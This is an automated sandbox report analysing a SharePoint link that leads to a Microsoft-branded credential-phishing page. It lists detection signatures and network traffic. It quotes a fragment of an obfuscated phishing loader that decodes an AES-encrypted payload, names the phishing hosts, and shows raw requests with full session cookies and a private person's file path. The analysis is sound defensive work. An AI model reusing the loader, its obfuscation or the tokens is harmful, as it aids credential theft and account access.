Play interactive tourEdit tour

Windows Analysis Report
http://organismekina8at-my.sharepoint.com/:f:/g/personal/mariejoelle_tremblay_kina8at_ca/ErWnJRn_SWBKkEcx4yGorhMBtA4m6tEq5cYuHnwwp_z1Sw

Overview

General Information

Sample URL:	http://organismekina8at-my.sharepoint.com/:f:/g/personal/mariejoelle_tremblay_kina8at_ca/ErWnJRn_SWBKkEcx4yGorhMBtA4m6tEq5cYuHnwwp_z1Sw
Analysis ID:	1590072
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Detected non-DNS traffic on DNS port

Drops files with a non-matching file extension (content does not match file extension)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

Stores files to the Windows start menu directory

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

×

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://filex.securecourtcloud.com/Fdr9j/?e=

Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'filex.securecourtcloud.com' does not match the legitimate domain 'microsoft.com'., The domain 'securecourtcloud.com' is not associated with Microsoft., The presence of 'filex' and 'securecourtcloud' in the URL suggests a potential phishing attempt as they are not related to Microsoft., The use of a generic term 'secure' in the domain can be misleading and is often used in phishing attempts. DOM: 4.8.pages.csv

Source: https://filex.securecourtcloud.com/Fdr9j/?e=

Joe Sandbox AI: Score: 8 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'filex.securecourtcloud.com' does not match the legitimate domain 'microsoft.com'., The domain 'securecourtcloud.com' does not appear to be associated with Microsoft., The presence of a subdomain 'filex' and the main domain 'securecourtcloud.com' suggests a potential phishing attempt., The URL does not contain any direct reference to Microsoft, which is suspicious given the brand association. DOM: 4.9.pages.csv

HTML body contains low number of good links

Source: https://filex.securecourtcloud.com/Fdr9j/?e=

HTTP Parser: Number of links: 0

HTML body contains password input but no form action

Source: https://filex.securecourtcloud.com/Fdr9j/?e=

HTTP Parser: <input type="password" .../> found but no <form action="...

HTML body with high number of embedded images detected

Source: https://filex.securecourtcloud.com/Fdr9j/?e=

HTTP Parser: Total embedded image size: 123322

HTML page contains hidden javascript code

Source: https://pub-d718e5e3afe742b8ab446f7a542f5139.r2.dev/copy.html

HTTP Parser: Base64 decoded: body, html { height: 100%; margin: 0; display: flex; align-items: center; justify-content: center; } @keyframes bounce { 0%, 100%, 12.5%, 32.5%, 76.1% { transform: translateY(0); } 22.5%, 86% { transform: translateY(7px); } } #vaguely { height: 179px; wid...

HTML title does not match URL

Source: https://filex.securecourtcloud.com/Fdr9j/?e=

HTTP Parser: Title: Sharing Link Validation does not match URL

Invalid T&C link found

Source: https://filex.securecourtcloud.com/Fdr9j/?e=	HTTP Parser: Invalid link: Privacy & Cookies
Source: https://filex.securecourtcloud.com/Fdr9j/?e=	HTTP Parser: Invalid link: Privacy & Cookies

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Source: https://qknaptqvepscqlukrsfs.mmicensacaviar.org.uk/redirect.php?unlouken-carbazylic

HTTP Parser: var devilling= document.createelement("script");devilling.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(devilling);devilling.onload=()=>{var {a,b,c,d} = json.parse(atob("eyjhijoic2c2mw10eulurg9osetbmxnyywriyklsmmvkumzrsvbuuexezk5jumlsvdhak3dledjiz3pucvnpntjzc24ynnp1vfezmfdrzxf6r2y5tejcl2e2qjbprxrbqxfqm2xkdfrru0zir1dtu3fjnknkc05qa1nyajvyng9ibk5rvtlrwnmzy011clmxmjr3sxg0s2hcl3nrcvl0zdzmejfizdrwuud4uw52wurxwm5yvmnkmgu1wkfnb3bfsitxczjgtdazzu1scgfbr01cl0myznh1am5hohnlzdjweuzmvxvys2dpwgjqsis4dvrqy3puwupvsjl5uw9gtvzwmulrdhfodxhxczz3beo3thnwtm5yv29pcnfqnxb0bdvid3lgt1jumhzpceoyulz3akv5ejfzbtb5tu8yn3zkau1lr2nmv0rjslwvc0swuhrjrxvnu2zxotlttkkxylvezjnnmzrclzndzlvnslzlohf5dmn5cnaytkf4vhhpamf5vjrcl2ixymzku2lurflroedfazf5n0vvnvftbtdotwllzwpzqm0zothsd0fot2f1sxjqm1hnmzvoslnvvkxguhkyufvjr1plu0szq0leuu9zbmk5wuhkqnviwvlwu0y0tuhzyvzbmvbwaldqdkz1t2frekv6rlmwykplbwpknhhzwkv0rgjda1d0ngg3bfwvaktrvvq5bzlurgphdxviyulftut5mnzfvkwwbgq2dw5crgk3wmnad3puderbzwq4vgd5c...

HTML body contains password input

Source: https://filex.securecourtcloud.com/Fdr9j/?e=

HTTP Parser: <input type="password" .../> found

HTML page is missing a favicon

Source: https://pub-d718e5e3afe742b8ab446f7a542f5139.r2.dev/copy.html	HTTP Parser: No favicon
Source: https://filex.securecourtcloud.com/Fdr9j/?e=	HTTP Parser: No favicon
Source: https://filex.securecourtcloud.com/Fdr9j/?e=	HTTP Parser: No favicon
Source: https://filex.securecourtcloud.com/Fdr9j/?e=	HTTP Parser: No favicon
Source: https://filex.securecourtcloud.com/Fdr9j/?e=	HTTP Parser: No favicon

META author tag missing

Source: https://filex.securecourtcloud.com/Fdr9j/?e=	HTTP Parser: No <meta name="author".. found
Source: https://filex.securecourtcloud.com/Fdr9j/?e=	HTTP Parser: No <meta name="author".. found

META copyright tag missing

Source: https://filex.securecourtcloud.com/Fdr9j/?e=	HTTP Parser: No <meta name="copyright".. found
Source: https://filex.securecourtcloud.com/Fdr9j/?e=	HTTP Parser: No <meta name="copyright".. found

Compliance

Creates a directory in C:\Program Files

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Networking

Detected non-DNS traffic on DNS port

Source: global traffic

TCP traffic: 192.168.2.16:51583 -> 162.159.36.2:53

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.22
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.22
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.22
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/guestaccess.aspx?share=ErWnJRn_SWBKkEcx4yGorhMBtA4m6tEq5cYuHnwwp_z1Sw HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fmariejoelle%5Ftremblay%5Fkina8at%5Fca%2FDocuments%2FPerso%2FOrganisme%20Kina8a&ga=1 HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+
Source: global traffic	HTTP traffic detected: GET /_layouts/15/spwebworkerproxy.ashx HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+
Source: global traffic	HTTP traffic detected: GET /_layouts/15/spwebworkerproxy.ashx HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+
Source: global traffic	HTTP traffic detected: GET /personal/mariejoelle_tremblay_kina8at_ca/_api/v2.1/graphql HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+
Source: global traffic	HTTP traffic detected: GET /personal/mariejoelle_tremblay_kina8at_ca/_api/web/GetListUsingPath(DecodedUrl=@a1)/RenderListDataAsStream?@a1=%27%2Fpersonal%2Fmariejoelle%5Ftremblay%5Fkina8at%5Fca%2FDocuments%27&RootFolder=%2Fpersonal%2Fmariejoelle%5Ftremblay%5Fkina8at%5Fca%2FDocuments%2FPerso%2FOrganisme%20Kina8a&TryNewExperienceSingle=TRUE HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/serviceworkerproxy.aspx?serviceWorkerUrl=https%3A%2F%2Fres-1.cdn.office.net%2Ffiles%2Fodsp-web-prod_2024-11-29.005%2Fodspwebworkers%2Fen-us%2Fspartanlistpostpltworker.js HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://organismekina8at-my.sharepoint.com/personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fmariejoelle%5Ftremblay%5Fkina8at%5Fca%2FDocuments%2FPerso%2FOrganisme%20Kina8a&ga=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjE0LDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzRlODU4MDg3YWY2NGE3NWI3YmJmZTQ5YzMyMmRmNGQyNTEzZGY4ZjZiMDgyZmY1Mzg1MWI2NjllYTgyMzU5YmYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jNGU4NTgwODdhZjY0YTc1YjdiYmZlNDljMzIyZGY0ZDI1MTNkZjhmNmIwODJmZjUzODUxYjY2OWVhODIzNTliZiwxMzM4MTI1MDk4NzAwMDAwMDAsMCwxMzM4MTMzNzA4NzEwMjE2NTcsMC4wLjAuMCwyNTgsMTk3YmE3MjYtODdjYi00NzNlLWEyYTUtZDY4MWUwOWU1MTdlLCwsODAyMjc3YTEtYjBlNC03MDAwLTYzNTgtZDdmZjE2MjE2NzIzLDgwMjI3N2ExLWIwZTQtNzAwMC02MzU4LWQ3ZmYxNjIxNjcyMyx2SXFsdXViUmdFU3RZTGtBaWV3ZzVnLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTIyMzcsdVhlaFFKUGxlVmpOQ2Jha1VoR0Q2SXlGUVFrLGtfeFd2SF82b0huTTVLdW1HUE91U1hTLXpIQSxXMkxYOUZnSXozMXp0bHZsSERpM2VrKzM1dXQ0amJNUUVCdG90c3ZTQ0JKc216VWVaQVRqZXZnazdlZExQbjlJdkFYZGxCNU5KRjBqUjlxRnN4bFM3cUM3TnNNNWtOajc4MU1kU3k1WHpFMDB5ajFTZnAwQjZEK2JkTlUzR1JKdTRFMmRUanJhMlIza3pQa2J6bHhweGZUbG1taEVKVkE1SlloSnR0MURqNUFyRFVLczRsV1puaXpiNVNseGwvbEhQOGh1d2V5OGlXWlNMS1lrRVF1YzYyZGpnOHhzek5yR0tYZlcwdFlOelVXRCtacVRCL3ZFaUFvYXFoSWZYbXVlaXV2aXFXVjJJYmxjVThoUmdiRS9ObTVIUEF3K2FmdDRsSHFnaVJtU1dYczlCOWJpaWJDclpQZHV5aE5SM1ArOC9ndUFzWFkzOE1NdWtmQ0lDd1BQWFE9PTwvU1A+; FeatureOverrides_experiments=[]
Source: global traffic	HTTP traffic detected: GET /personal/mariejoelle_tremblay_kina8at_ca/_layouts/15/serviceworkerproxy.aspx?serviceWorkerUrl=https%3A%2F%2Fres-1.cdn.office.net%2Ffiles%2Fodsp-web-prod_2024-11-29.005%2Fodspwebworkers%2Fen-us%2Fspartanlistpostpltworker.js HTTP/1.1Host: organismekina8at-my.sharepoint.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 